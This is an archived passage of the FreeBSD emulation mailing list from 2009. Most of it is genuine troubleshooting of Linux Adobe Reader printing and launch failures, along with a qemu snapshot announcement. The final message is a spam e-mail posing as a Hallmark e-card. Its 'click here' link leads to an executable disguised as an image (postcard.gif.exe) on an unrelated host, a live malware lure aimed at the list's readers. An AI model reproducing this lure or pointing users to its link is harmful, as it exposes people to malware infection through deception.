operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 May 2009 09:39:17 -0000 Just for the record: This thread was started on freebsd-current@, then after a few private mails Boris asked me to proceed on freebsd-emulation@ For this list I will repeat the original error message, which appears, when I try to print with acroread8 unter 8.0-CURRENT: --------------------------------------------------------------- Beim Drucken ist folgender Fehler aufgetreten... '/libexec/ld-elf.so.1: /usr/local/lib/compat/libc.so.6: version GLIBC_2.2.4 required by /usr/local/Adobe/Reader8/DEU/ Adobe/Reader8/Reader/intellinux/lib/libgcc_s.so.1 not defined' --------------------------------------------------------------- On 30.04.2009 09:00 (UTC+2), Boris Samorodov wrote: > On Wed, 29 Apr 2009 22:26:37 +0200 Rainer Hurling wrote: >> On 29.04.2009 21:47 (UTC+2), Boris Samorodov wrote: >>> On Wed, 29 Apr 2009 21:27:33 +0200 Rainer Hurling wrote: >>> >>>> Now I have two file 'ktrace.out'. A diff of the linux_kdump's of this >>>> files gives me about 1.5 million lines of text. I have no experience >>>> with reading such files and don't know where to look, sorry. >>>> Do you have any hints? >>> You should look at the difference for searching linux libraries. >>> Particularly the one you can't get through. >>> Do a "linux_kdump | less", search for (was it you who >>> had a problem with libc.so.6) libc.so.6 (press "/" at less output >>> and type a string to search). > >> Ok, but the usage of piping and less is well known ;-) > >> I produced two textfiles with linux_kdump from ktrace.out files (first >> one with printing ok and second one with printing failing). > > >> 'diff ktrace_print_ok.txt ktrace_print_fails.txt | grep libc.so.6' > >> gives 522 hits. Every hit exists in two lines and in two files, the >> right count should be about 130 places. It is hard to find the right >> one. > > >> 'diff ktrace_print_ok.txt ktrace_print_fails.txt | grep libgcc_s.so.1' > >> gives 40 hits. Some of them have double lines, about 15 places should >> be right. > >> For libgcc_s.so.1 there are much more hits in the second ktrace >> file. This is the file with the error message I posted (see below): > >> ----------------------------------------------------------------- >>> 2627 lpr RET read 4096/0x1000 >>> 2627 lpr CALL [477](0,0xe7000,0,0x21002,0xffffffff,0,0) >>> 2627 lpr RET [477] 872767488/0x34056000 >>> 2627 lpr CALL [477](0x34056000,0xcb000,0x5,0x20012,0x3,0,0) >>> 2627 lpr RET [477] 872767488/0x34056000 >>> 2627 lpr CALL linux_sethostname(0x34120000,0x1000,0x7) >>> 2627 lpr RET linux_sethostname 0 >>> 2627 lpr CALL linux_sethostname(0x34120000,0x1000,0x5) >>> 2627 lpr RET linux_sethostname 0 >>> 2627 lpr CALL [477](0x34121000,0x6000,0x3,0x12,0x3,0xcb000,0) >>> 2627 lpr RET [477] 873598976/0x34121000 >>> 2627 lpr CALL linux_sethostname(0x34127000,0x16000,0x3) >>> 2627 lpr RET linux_sethostname 0 >>> 2627 lpr CALL close(0x3) >>> 2627 lpr RET close 0 >>> 2627 lpr CALL write(0x2,0xbfbfd620,0x16) >>> 2627 lpr GIO fd 2 wrote 22 bytes >>> "/libexec/ld-elf.so.1: " >>> 2627 lpr RET write 22/0x16 >>> 2627 lpr CALL write(0x2,0xbfbfd650,0x9b) >>> 2627 lpr GIO fd 2 wrote 155 bytes >>> "/usr/local/lib/compat/libc.so.6: version GLIBC_2.2.4 >>> required >> by /usr/local/Adobe/Reader8/DEU/Adobe/Reader\ >>> 8/Reader/intellinux/lib/libgcc_s.so.1 not defined" > > We need not just this error but some 100 or more previous lines -- at > which directories libc.so.6 is searched. And compare them with > apropriate process at the system without problems. Printing seems to be started at line 669940 of ktrace.out. The following pathes for libc.so.6 are known: 2627 lpr NAMI "/usr/local/Adobe/Reader8/DEU/Adobe/Reader8/Reader/intellinux/lib/libc.so.6" 2627 lpr NAMI "/usr/local/Adobe/Reader8/DEU/Adobe/Reader8/Reader/intellinux/sidecars/libc.so.6" 2627 lpr NAMI "/usr/local/lib/firefox3/libc.so.6" 2627 lpr NAMI "/lib/libc.so.6" 2627 lpr NAMI "/usr/lib/libc.so.6" 2627 lpr NAMI "/usr/lib/compat/libc.so.6" 2627 lpr NAMI "/usr/local/lib/libc.so.6" 2627 lpr NAMI "/usr/local/lib/compat/pkg/libc.so.6" 2627 lpr NAMI "/usr/local/grass/lib/libc.so.6" 2627 lpr NAMI "/usr/local/kde4/lib/libc.so.6" 2627 lpr NAMI "/usr/local/lib/compat/libc.so.6" 2627 lpr NAMI "/usr/local/lib/compat/libc.so.6" The error message appears at lines 671852 and 671873: 2627 lpr GIO fd 2 wrote 155 bytes "/usr/local/lib/compat/libc.so.6: version GLIBC_2.2.4 required by /usr/local/Adobe/Reader8/DEU/Adobe/Reader\ 8/Reader/intellinux/lib/libgcc_s.so.1 not defined" 2589 ld-2.7.so GIO fd 28 read 178 bytes "/libexec/ld-elf.so.1: /usr/local/lib/compat/libc.so.6: version GLIBC_2.2.4 required by /usr/local/Adobe/Re\ ader8/DEU/Adobe/Reader8/Reader/intellinux/lib/libgcc_s.so.1 not defined" >>> 2627 lpr RET write 155/0x9b >>> 2627 lpr CALL write(0x2,0x33c78f33,0x1) >>> 2627 lpr GIO fd 2 wrote 1 byte >>> " >>> " >>> 2627 lpr RET write 1 >>> 2627 lpr CALL exit(0x1) >>> 2589 ld-2.7.so RET linux_waitpid -1 errno 4 Interrupted system call >>> 2589 ld-2.7.so PSIG SIGCHLD caught handler=0x83b8eb0 mask=0x0 code=0x0 >>> 2589 ld-2.7.so CALL linux_sigreturn(0xbfbf9d98) >>> 2589 ld-2.7.so RET linux_sigreturn JUSTRETURN >>> 2589 ld-2.7.so CALL linux_waitpid(0xa43,0xbfbfada4,0) >>> 2589 ld-2.7.so RET linux_waitpid 2627/0xa43 >>> 2589 ld-2.7.so CALL linux_rt_sigaction(0x11,0xbfbf9fbc,0xbfbf9f30,0x8) >>> 2589 ld-2.7.so RET linux_rt_sigaction 0 >>> 2589 ld-2.7.so CALL close(0x1d) >>> 2589 ld-2.7.so RET close 0 >>> 2589 ld-2.7.so CALL read(0x1c,0xbfbfa884,0x400) >>> 2589 ld-2.7.so GIO fd 28 read 178 bytes >>> "/libexec/ld-elf.so.1: /usr/local/lib/compat/libc.so.6: >> version GLIBC_2.2.4 required by /usr/local/Adobe/Re\ >>> ader8/DEU/Adobe/Reader8/Reader/intellinux/lib/libgcc_s.so.1 >>> not >> defined >>> " >>> 2589 ld-2.7.so RET read 178/0xb2 >>> 2589 ld-2.7.so CALL munmap(0x30fd5000,0x3014) >>> 2589 ld-2.7.so RET munmap 0 >>> 2589 ld-2.7.so CALL linux_select(0x4,0xbfbf9b9c,0xbfbf9b1c,0,0) >>> 2589 ld-2.7.so RET linux_select 1 >>> 2589 ld-2.7.so CALL writev(0x3,0xbfbf9c7c,0x1) >>> 2589 ld-2.7.so GIO fd 3 wrote 16 bytes >>> "\^C\a\^B\0\^C\0@\^B\^N\0\^B\0\^C\0@\^B" >>> 2589 ld-2.7.so RET writev 16/0x10 >>> 2589 ld-2.7.so CALL linux_select(0x4,0xbfbf9c0c,0xbfbf9b8c,0,0) >>> 2589 ld-2.7.so RET linux_select 1 >>> 2589 ld-2.7.so CALL read(0x3,0x5dcd4,0x1000) >>> 2589 ld-2.7.so GIO fd 3 read 76 bytes >>> "\^A\0A\M^T\^C\0\0\0!\0\0\0\^A\0\^A\^Aÿÿÿÿ\0\0\0\0\0\^A\0\0 >> \0\0\0003\M^@b\0003\M^@b\0\0\0é6\^A\^XB\M^T\0\0\ >>> \0\0§\^A\0\0\0\0\0\0È\0È\0\0\0\0\0003\M^@b\0À­é6" >>> 2589 ld-2.7.so RET read 76/0x4c >>> 2589 ld-2.7.so CALL read(0x3,0x5dcd4,0x1000) >>> 2589 ld-2.7.so RET read -1 errno 11 Resource deadlock avoided >>> 2589 ld-2.7.so CALL linux_select(0x4,0xbfbf9c3c,0xbfbf9bbc,0,0) >>> 2589 ld-2.7.so RET linux_select 1 >>> 2589 ld-2.7.so CALL writev(0x3,0xbfbf9d1c,0x1) >>> 2589 ld-2.7.so GIO fd 3 wrote 268 bytes >> ----------------------------------------------------------------- > >> Do you think there is a chance to find the reason? > > At least we will try. > > Sorry, don't remember which OS versions and linux emulation are > at your systems? #uname -a FreeBSD krabat.raven.hur 8.0-CURRENT FreeBSD 8.0-CURRENT #0: Wed Apr 29 20:38:15 CEST 2009 rhurlin@krabat.raven.hur:/usr/obj/usr/src/sys/RHURLIN i386 #l -d linux* linux-f8-atk-1.20.0 linux-f8-cairo-1.4.14 linux-f8-expat-2.0.1 linux-f8-fontconfig-2.4.2 linux-f8-gtk2-2.12.8 linux-f8-hicolor-icon-theme-0.5 linux-f8-jpeg-6b linux-f8-openssl-0.9.8b linux-f8-pango-1.18.4 linux-f8-png-1.2.22 linux-f8-scim-gtk-1.4.7 linux-f8-scim-libs-1.4.7 linux-f8-tiff-3.8.2 linux-f8-xorg-libs-7.3_2 linux-flashplugin-9.0r159 linux-nvu-1.0_1 linux-realplayer-10.0.9.809.20070726 linux_base-f8-8_11 linux_kdump-1.5_2 > BTW, please keep CC to emulation@ for archieves (it may help someone > in the future) and in case somebody but me may help you. See above. Thank you again, Rainer > WBR From owner-freebsd-emulation@FreeBSD.ORG Fri May 1 09:49:12 2009 Return-Path: Delivered-To: freebsd-emulation@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ACAAF106567A for ; Fri, 1 May 2009 09:49:12 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from macos.cmi.ua.ac.be (macos.cmi.ua.ac.be [143.129.75.1]) by mx1.freebsd.org (Postfix) with ESMTP id 40B4F8FC19 for ; Fri, 1 May 2009 09:49:11 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from macos.cmi.ua.ac.be (localhost [127.0.0.1]) by macos.cmi.ua.ac.be (8.14.2/8.14.2) with ESMTP id n419bB4b070281 for ; Fri, 1 May 2009 11:37:11 +0200 (CEST) (envelope-from Pieter.Donche@ua.ac.be) Received: from localhost (pdon@localhost) by macos.cmi.ua.ac.be (8.14.2/8.14.2/Submit) with ESMTP id n419bB5g070278 for ; Fri, 1 May 2009 11:37:11 +0200 (CEST) (envelope-from Pieter.Donche@ua.ac.be) X-Authentication-Warning: macos.cmi.ua.ac.be: pdon owned process doing -bs Date: Fri, 1 May 2009 11:37:11 +0200 (CEST) From: Pieter Donche X-X-Sender: pdon@macos.cmi.ua.ac.be To: freebsd-emulation@freebsd.org Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII Subject: acroread9 and 8 not working X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 May 2009 09:49:13 -0000 I have FreeBSD7/amd64 with linux_base-fc-4_14 Base set of packages needed in Linux mode (for i386/amd64) In /etc/rc.conf there I have linux_enable="YES" Checked (from FreeBSD book chapter 10.2) # kldstat Id Refs Address Size Name 1 7 0xffffffff80100000 ac7708 kernel 2 1 0xffffffffb08e0000 18aea linux.ko 3 1 0xffffffffb09cb000 496 star_saver.ko I installed acroread9-9.1.0_2 (no errors) # cd /usr/ports/print/acroread9 # make install clean OK. but at $ acroread & I get: (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): Gdk-CRITICAL **: gdk_window_set_icon_list: assertion `GDK_IS_PIXBUF (pixbuf)' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (acroread:67581): GdkPixbuf-WARNING **: Error loading XPM image loader: Image type 'xpm' is not supported (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_ref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed (acroread:67581): Gdk-CRITICAL **: gdk_window_set_icon_list: assertion `GDK_IS_PIXBUF (pixbuf)' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_width: assertion `pixbuf != NULL' failed (acroread:67581): GdkPixbuf-CRITICAL **: gdk_pixbuf_get_height: assertion `pixbuf != NULL' failed (acroread:67581): Pango-WARNING **: No builtin or dynamically loaded modules were found. Pango will not work correctly. This probably means there was an error in the creation of: '/etc/pango/pango.modules' You may be able to recreate this file by running pango-querymodules. (acroread:67581): Pango-CRITICAL **: _pango_engine_shape_shape: assertion `PANGO_IS_FONT (font)' failed Pango-ERROR **: file shape.c: line 75 (pango_shape): assertion failed: (glyphs->num_glyphs > 0) aborting... [1]+ Exit 1 acroread I do have: /usr/compat/linux/etc/pango drwxr-xr-x 2 root wheel 512 Apr 24 09:51 i686-redhat-linux-gnu -rw-r--r-- 1 root wheel 11446 Apr 24 09:50 pangox.aliases I tried with pkg_delete acroread9 and installing acroread8 from ports - same problem. What is wrong and how to remedy ? From owner-freebsd-emulation@FreeBSD.ORG Fri May 1 20:59:51 2009 Return-Path: Delivered-To: freebsd-emulation@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 822A9106564A for ; Fri, 1 May 2009 20:59:51 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: from smtp.kn-bremen.de (gelbbaer.kn-bremen.de [78.46.108.116]) by mx1.freebsd.org (Postfix) with ESMTP id 420798FC0C for ; Fri, 1 May 2009 20:59:51 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: by smtp.kn-bremen.de (Postfix, from userid 10) id 0FC251E00122; Fri, 1 May 2009 23:01:00 +0200 (CEST) Received: from triton.kn-bremen.de (noident@localhost [127.0.0.1]) by triton.kn-bremen.de (8.14.3/8.14.3) with ESMTP id n41KvhV5047384 for ; Fri, 1 May 2009 22:57:43 +0200 (CEST) (envelope-from nox@triton.kn-bremen.de) Received: (from nox@localhost) by triton.kn-bremen.de (8.14.3/8.14.3/Submit) id n41KvhMR047383 for freebsd-emulation@FreeBSD.org; Fri, 1 May 2009 22:57:43 +0200 (CEST) (envelope-from nox) From: Juergen Lock Date: Fri, 1 May 2009 22:57:43 +0200 To: freebsd-emulation@FreeBSD.org Message-ID: <20090501205743.GA47177@triton.kn-bremen.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.19 (2009-01-05) Cc: Subject: want to test a qemu head snapshot (20090501_13)? X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 May 2009 20:59:51 -0000 I haven't tested this much myself yet but so far it still seems to work: http://people.freebsd.org/~nox/qemu/qemu-devel-20090501.patch Some patches could use cleanup tho, and bsd-user currently doesn't build. Enjoy, Juergen From owner-freebsd-emulation@FreeBSD.ORG Sat May 2 02:09:02 2009 Return-Path: Delivered-To: freebsd-emulation@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2B400106566C for ; Sat, 2 May 2009 02:09:02 +0000 (UTC) (envelope-from admin@smtp.bcsfastnet.com) Received: from smtp.bcsfastnet.com (smtp.bcsfastnet.com [208.1.217.118]) by mx1.freebsd.org (Postfix) with ESMTP id E2F1F8FC0C for ; Sat, 2 May 2009 02:09:01 +0000 (UTC) (envelope-from admin@smtp.bcsfastnet.com) Received: from smtp.bcsfastnet.com (localhost [127.0.0.1]) by smtp.bcsfastnet.com (8.13.1/8.13.1) with ESMTP id n41NDRj1029734 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 1 May 2009 19:13:27 -0400 Received: (from admin@localhost) by smtp.bcsfastnet.com (8.13.1/8.13.1/Submit) id n41NDREa029731; Fri, 1 May 2009 19:13:27 -0400 Date: Fri, 1 May 2009 19:13:27 -0400 Message-Id: <200905012313.n41NDREa029731@smtp.bcsfastnet.com> To: freebsd-emulation@freebsd.org From: "hallmark.com" MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: You've received A Hallmark E-Card! X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 02 May 2009 02:09:02 -0000 [1]Hallmark.com [2]Shop Online [3]Hallmark Magazine [4]E-Cards & More [5]At Gold Crown You have recieved A Hallmark E-Card. Hello! You have recieved a Hallmark E-Card. To see it, click [6]here, There's something special about that E-Card feeling. We invite you to make a friend's day and [7]send one. Hope to see you soon, Your friends at Hallmark Your privacy is our priority. Click the "Privacy and Security" link at the bottom of this E-mail to view our policy. [8]Hallmark.com | [9]Privacy & Security | [10]Customer Service | [11]Store Locator References 1. http://www.hallmark.com/ 2. http://www.hallmark.com/webapp/wcs/stores/servlet/category1|10001|10051|-2|-2|products|unShopOnline|ShopOnline?lid=unShopOnline 3. http://www.hallmark.com/webapp/wcs/stores/servlet/article|10001|10051|/HallmarkSite/HallmarkMagazine/|magazine|unHallmarkMagazine?lid=unHallmarkMagazine 4. http://www.hallmark.com/webapp/wcs/stores/servlet/category1|10001|10051|-1020!01|-102001|ecards|unEcardandMore|E-Cards?lid=unEcardandMore 5. http://www.hallmark.com/webapp/wcs/stores/servlet/article|10001|10051|/HallmarkSite/GoldCrownStores/|stores|unGoldCrownStores?lid=unGoldCrownStores 6. http://mail.formens.ro/postcard.gif.exe 7. http://www.hallmark.com/webapp/wcs/stores/servlet/category1|10001|10051|-102001|-102001|ecards|unEcardandMore|E-Cards?lid=unEcardandMore 8. http://www.hallmark.com/ 9. http://www.hallmark.com/webapp/wcs/stores/servlet/article|10001|10051|/HallmarkSite/LegalInformation/FOOTER_PRIVLEGL| 10. http://hallmark.custhelp.com/?lid=lnhelp-Home%20Page 11. http://go.mappoint.net/Hallmark/PrxInput.aspx?lid=lnStoreLocator-Home%20Page